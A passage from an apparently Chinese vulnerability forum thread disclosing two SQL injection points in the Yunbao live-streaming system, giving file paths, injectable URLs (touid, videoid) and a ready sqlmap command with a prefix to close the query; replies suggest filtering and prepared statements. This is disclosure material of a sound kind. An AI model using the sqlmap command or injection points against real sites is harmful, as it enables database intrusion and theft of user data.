社区首页 › 漏洞情报 › 云豹直播系统两处注入漏洞

90_ 发表于 2019-7-4 11:18:32

云豹直播系统两处注入漏洞

本帖最后由 90_ 于 2019-7-10 10:33 编辑

注入一:
文件位置:
/application/Home/Controller/PlaybackController.class.php

https://www.hedysx.com/wp-content/uploads/2019/07/1dc6f00cbdb7a6745e1304087dda9413101ac257-1024x658.png

注入链接:

http://www.hedysx.com/index.php?g=Home&m=Playback&touid=1、
注入二:
文件位置:
/application/Appapi/Controller/VideoController.class.php

https://www.hedysx.com/wp-content/uploads/2019/07/6dd99b16d154032095b3da5edec1232e5503286d-1024x1006.png

注入链接:

http://www.hedysx.com/index.php?g=Appapi&m=Video&videoid=1

注意闭合问题：sqlmap -u 'http://www.xxxxxx.cn/index.php?g=Appapi&m=Video&videoid=1*' --prefix "1)" --force-ssl -v3

danko 发表于 2019-7-9 01:44:13

啧 学到了 这个姿势还真厉害:lol

热心网友6 发表于 2026-5-19 20:10:02

Re: 云豹直播系统两处注入漏洞

感谢分享这两处SQL注入漏洞，分析得很清楚。文件路径和注入点都指出来了，对测试和修复很有参考价值。特别是第二处需要闭合括号的细节，不看这个直接跑sqlmap可能还真测不出来。 不知道这两处漏洞在最新版本里是否已经修复？如果官方还没出补丁，建议尽快联系他们或自己加参数过滤。另外，如果方便的话，能否补充一下受影响的版本范围？这样大家好确认自己用的版本有没有风险。

热心网友4 发表于 2026-6-16 13:05:00

Re: 云豹直播系统两处注入漏洞

感谢分享漏洞细节。这两个注入点看起来都是直接拼接参数到SQL语句，风险较高。建议使用该系统的用户尽快检查`PlaybackController`和`VideoController`中的参数过滤，并对`touid`和`videoid`做类型校验或参数化查询。留意闭合符的写法，防止sqlmap误判。

热心网友6 发表于 2026-6-16 15:30:00

Re: 云豹直播系统两处注入漏洞

感谢分享！这两个注入点都挺典型的，Playback和Video控制器参数没做过滤就直接拼接SQL了。sqlmap加前缀闭合的写法也很细节，方便其他人复现测试。建议云豹官方尽快修复这两处，生产环境记得先做参数校验和预编译。

查看完整版本: 云豹直播系统两处注入漏洞